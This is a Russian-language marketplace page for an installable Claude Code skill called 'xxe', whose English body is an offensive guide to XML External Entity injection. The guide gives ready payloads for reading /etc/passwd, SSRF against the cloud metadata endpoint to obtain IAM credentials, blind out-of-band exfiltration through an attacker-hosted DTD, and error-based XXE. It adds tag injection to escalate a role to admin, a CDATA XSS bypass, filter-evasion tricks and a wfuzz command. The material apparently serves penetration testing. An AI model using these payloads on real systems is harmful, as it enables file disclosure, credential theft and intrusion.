Command Palette

Search for a command to run...

Назад к скиллам
скилл № 27730

xxe

XML External Entity (XXE) injection exploits XML parsers that process DTD external entity declarations, enabling local file disclosure (`file:///etc/passwd`)…

БесплатноБез исполняемых скриптов
skillmdsот skillmds★ 42 звезды на GitHub

Установить xxe в Claude Code и Claude Desktop

Зарегайся, чтобы установить скилл

Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.

  • Открой команду установки в одну строку
  • Сохраняй скиллы в синхронизируемую библиотеку
  • Уведомления, когда скиллы обновляются
Зарегаться бесплатноУ меня уже есть аккаунт

Об этом скилле

XML External Entity (XXE) Injection

What Is Broken and Why

XXE vulnerabilities arise when XML input containing a DOCTYPE declaration with external entity references is processed by a parser that has external entity resolution enabled. The parser fetches the referenced resource (a local file, remote URL, or network service) and substitutes it into the document, which the application may then reflect in a response or process further. Beyond data disclosure, XXE enables SSRF and, via parameter entities, blind out-of-band exfiltration. The root cause is misconfigured or default-insecure XML parser settings.

Key Signals

  • Application accepts XML input (SOAP endpoints, REST APIs with Content-Type: application/xml, file uploads of .xml/.docx/.xlsx/.svg)
  • Requests containing <?xml declarations
  • Error messages referencing XML parsing libraries or DTD processing
  • Java APIs in stack traces: DocumentBuilder, SAXParser, XMLInputFactory, TransformerFactory
  • Application processing SVG, RSS/Atom feeds, or office document formats (DOCX, XLSX use XML internally)
  • Response includes content from server filesystem or internal network resources

Methodology

  1. Identify XML input vectors: direct XML body, XML-based file uploads, XML wrapped in SOAP.
  2. Submit minimal XML and confirm it is parsed (look for reflected values or processing differences).
  3. Inject a DOCTYPE with an internal entity first to confirm entity processing is enabled.
  4. Escalate to external file entity to test file disclosure.
  5. Test SSRF via HTTP entity pointing to OOB callback server.
  6. If output is not reflected (blind XXE), use out-of-band via parameter entities and external DTD.
  7. Test for error-based XXE if OOB is blocked.
  8. Test XML injection vectors (tag injection, CDATA bypass) if DOCTYPE is stripped.

Payloads & Tools

<!-- Step 1: Confirm entity processing (internal entity) -->
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe "xxe-test">]>
<root>&xxe;</root>

<!-- Step 2: File disclosure (Linux) -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!-- File disclosure (Windows) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]>
<foo>&xxe;</foo>

<!-- SSRF via HTTP entity -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<foo>&xxe;</foo>

<!-- OOB blind XXE (data exfiltration via DNS/HTTP) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://VICTIM/malicious.dtd">
  %xxe;
]>
<foo/>

<!-- malicious.dtd hosted on attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://VICTIM/?data=%file;'>">
%send;

<!-- Error-based XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>

<!-- XML tag injection / privilege escalation -->
<!-- Email field: inject closing tag + new element -->
[email protected]</mail><role>admin</role><mail>[email protected]

<!-- CDATA XSS bypass -->
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

<!-- wfuzz XML injection fuzzing -->
wfuzz -c -z file,xml-fuzz.txt --hc 200 TARGET/api/xml-endpoint

Bypass Techniques

  • If <!DOCTYPE> is stripped: test for XML injection via metacharacters (', ", <, >, &, ]]>) to break document structure
  • If SYSTEM entities are blocked but PUBLIC entities are not: <!ENTITY xxe PUBLIC "foo" "file:///etc/passwd">
  • Encoding: submit XML as UTF-16 or UTF-7 if UTF-8 is filtered
  • CDATA wrapping to inject script through XML: <![CDATA[...]]>
  • Parameter entities for blind exfiltration when direct entities are blocked
  • SVG upload: craft malicious SVG file with external entity declaration (processed by server-side renderer)
  • XLSX/DOCX injection: embed XXE in internal XML files within ZIP archive

Exploitation Scenarios

Scenario 1 — File Disclosure via SOAP API Setup: SOAP web service accepts XML, processes address field, and reflects parsed values. Trigger: Replace address field value with entity reference: inject DOCTYPE + <!ENTITY xxe SYSTEM "file:///etc/passwd"> and use &xxe; as address value. Impact: Contents of /etc/passwd returned in the address field of the SOAP response.

Scenario 2 — SSRF to Cloud Metadata Setup: REST API endpoint accepts Content-Type: application/xml and processes product import data. Trigger: Submit XXE with SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE". Impact: AWS IAM credentials returned in error message or reflected XML response.

Scenario 3 — Blind OOB Exfiltration via SVG Upload Setup: Profile avatar accepts SVG format; server-side renderer processes SVG XML. Trigger: Upload SVG containing external DTD reference pointing to attacker ser

Полный SKILL.md на GitHub

Разрешённые инструменты

Инструменты, которые скиллу разрешено вызывать.

Без ограничений — скилл может использовать любой инструмент.

FAQ

Что делает скилл xxe?

XML External Entity (XXE) injection exploits XML parsers that process DTD external entity declarations, enabling local file disclosure (`file:///etc/passwd`), SSRF via `http://` entities, and DoS via Billion Laughs. Vulnerable Java APIs include `DocumentBuilder`, `SAXParser`, `dom4j`, `TransformerFactory`, `SAXReader`, `XMLInputFactory`, Xerces. Detect by injecting `<!DOCTYPE>` DTD with `SYSTEM` entity references. Tools: Burp Suite, wfuzz XML fuzz strings.

Как установить скилл xxe?

Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.

Скилл xxe запускает скрипты?

Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.

Похожие скиллы

Сравнить xxe с